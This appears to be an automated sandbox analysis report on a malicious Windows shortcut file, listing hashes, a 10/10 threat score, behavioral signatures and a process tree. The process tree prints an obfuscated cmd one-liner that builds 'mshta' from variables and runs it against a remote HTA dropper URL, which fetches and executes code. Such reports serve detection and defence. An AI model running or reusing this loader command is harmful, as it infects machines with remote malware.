Analysis
- max time kernel
38s - max time network
41s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 22:16
Static task
static1
Behavioral task
behavioral1
Sample
DOC-CTJNQS.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-CTJNQS.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-CTJNQS.lnk
- Size 1KB
- Sample260803-16sdvagg22
- SHA256 2f284fdc09e7f9c0377d5fa064f63abc1cfcf3ce4b72de8a44ef3d6bc539c78b
- MD5 309a79f685324a7f8e299f3ab27d20a4
- SHA1 b9774952248ea981da171352828eaae31a968311
- SHA512 fcbb33e607fb05010d86319c8b0d150a04556c12ede29fcc22841c57c9387ff0e1f5bb0280b995997726f3367b8aef86054ce66d6ea1effe1d6f5cfde7cfdd9c
- TLSH T100319C003EFD0664F3B39FB294BB571089FBB8958D20CA1D0140560C5032A01E5BAF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4956 cmd.exe 2192 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4956 wrote to memory of 2192 4956 cmd.exe 85 PID 2192 wrote to memory of 1312 2192 cmd.exe 86
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CTJNQS.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set lvZZJ=msh&&set Wtx=ta&&start "" !lvZZJ!!Wtx! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:1312
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